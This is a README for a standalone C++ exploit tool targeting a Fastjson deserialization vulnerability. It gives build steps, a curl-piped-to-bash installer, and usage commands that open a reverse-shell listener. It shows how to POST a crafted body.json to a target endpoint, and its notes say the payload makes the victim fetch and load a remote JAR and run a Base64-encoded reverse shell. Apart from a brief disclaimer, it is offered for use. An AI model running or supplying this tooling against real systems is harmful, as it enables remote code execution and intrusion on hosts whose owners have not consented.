CVE-2026-16723 Exploit

A standalone C++17 implementation for CVE-2026-16723, a critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83.

Requirements

• Linux (or WSL on Windows)

• C++17 compatible compiler (GCC 7+ or Clang 5+)

• CMake 3.10 or newer

• System packages:

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

Installation

Quick Install (Recommended)

Install everything with a single command:

curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash

Or download and execute the installer manually:

wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

The installation script will:

• Install all required system packages.

• Download the required header-only libraries:

  • nlohmann/json
  • cpp-httplib

• Build the project.

• Place the compiled binary in the current directory as:

./exploit

Manual Build

If you cloned the repository:

git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

Or build manually:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

Usage

Run the binary:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

Example

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

After execution the following files will be created:

x
body.json

The HTTP server will start on the configured port (default: 8000) and the tool will wait for an incoming reverse shell connection.

Sending the Payload

Send the generated body.json file to the vulnerable endpoint:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

If the application expects a different JSON field, specify it using the --field option.

Command-Line Options

Output Files

Notes

• This project is intended only for authorized security testing and educational purposes.
• The implementation forces the target application to download and load a remote JAR using the jar:http and jar:file protocols.
• The reverse shell command is Base64-encoded to reduce escaping issues.

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